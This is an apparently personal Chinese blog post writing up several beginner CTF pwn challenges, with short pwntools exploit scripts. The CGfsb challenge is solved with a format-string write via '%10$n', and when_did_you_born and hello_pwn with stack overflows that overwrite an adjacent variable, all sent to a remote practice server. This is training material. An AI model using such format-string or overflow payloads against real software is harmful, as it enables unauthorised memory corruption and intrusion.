美文网首页
不知道多久的第二条咸鱼

不知道多久的第二条咸鱼

作者: 好大一只免孑 | 来源:发表于2019-01-26 23:12 被阅读0次

老子满血复活啦!
啊哈!
然后把之前的pwn补一下

get_shell

题目描述打开就能获得flag
那就打开嘛


图片.png

做完了嘻嘻

CGfsb

IDA

图片.png

if(pwnme==8)就可以获得flag


图片.png

找到pwnme的地址


图片.png
nc一下发现输入的数据偏移量为10
然后利用格式化字符串漏洞
sh= remote('111.198.29.45',30267)

pwn_adr = 0x0804A068

payload1 = "ABCD" 
payload2 = p32(pwn_adr) + 'aaaa%10$n'
sh.recvuntil('please tell me your name:') 
sh.sendline(payload1)
sh.recvuntil('leave your message please:') 
sh.sendline(payload2)

32位占四个字节,再加4个字节对pwnme赋值为8


图片.png

when_did_you_born

IDA

图片.png
直接输入1926会被强制退出
然后v5必须等于1926
emmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
神经病

然后这里


图片.png

先输入v5再输入v4而v4和v5差8个字节
也就是说v4超过8字节后就会覆盖掉v5
哇哦

from pwn import *
#context.log_level='debug'

sh= remote('111.198.29.45',30287)

p1='aa'
p2='aaaaaaaa'+p64(1926)
sh.recvuntil("What's Your Birth?")
sh.sendline(p1)
sh.recvuntil("What's Your Name?")
sh.sendline(p2)

sh.interactive()

图片.png

emm明天继续补

hello_pwn

直接exp了这道题超级简单

from pwn import *

sh= remote('111.198.29.45', 30591)

sh.recvuntil('lets get helloworld for bof\n') 

shellcode = 'aaaa'+p64(1853186401) 

sh.send(shellcode)

print sh.recv()

相关文章

  • 不知道多久的第二条咸鱼

    老子满血复活啦!啊哈!然后把之前的pwn补一下 get_shell 题目描述打开就能获得flag那就打开嘛 做完了...

  • 咸鱼了多久

    也许不太有人能体会到我的境地。做了太久的咸鱼。现在的工作不怎么喜欢,心里想离开但是实力不够。 活了...

  • 但凡总有个第一

    就想看看第二条是多久以后的事了…… 扪心自问。你会创作?深度怀疑。

  • Python入门 Day1

    拒绝做咸鱼!今天开始正式进入到不知道能坚持学多久的Python中。 应该是没有人会看见滴!那我就自己玩玩,希望借此...

  • Hello!

    大二的暑假并没有比之前好多少,依然在家里开着空调抱着西瓜刷手机,不知道这样咸鱼的日子还要过多久。 其实刚放假的那两...

  • 不努力怎能成功

    现在有着一句话,叫咸鱼翻身,可人人都不是咸鱼,又都觉得咸鱼是真的有意志的。不管咸鱼会不会翻身,自己是不知道的,总有...

  • 人生最好的状态大概就是:默默的努力,实现自己心里蹦出来无数次的那

    文/逗号 周星驰说,一个人没有梦想,跟咸鱼有什么区别?也有人说,咸鱼会翻身啊,但是不知道,咸鱼即使翻身了也还是咸鱼...

  • 随笔

    不知道等了多久, 不知道想了多久, 不知道忍了多久, 不知道疼了多久, 他悄然从我身边走过。 不知道爱了多久, 不...

  • 20181027为什么总是准备不好

    最近越来越起不来了,像一条咸鱼,不知道在秋招的路上还可以坚持多久,每一次面试都像个傻逼。明天是自己这么在乎的公司却...

  • 人在颓废的时候,不妨看看你的圈子

    你有多久没有接触新的人,多久没有接受过新思想? 你很颓废,像一条咸鱼,看不到方向,又不愿意动,没...

网友评论

      本文标题:不知道多久的第二条咸鱼

      本文链接:https://www.haomeiwen.com/subject/lqmijqtx.html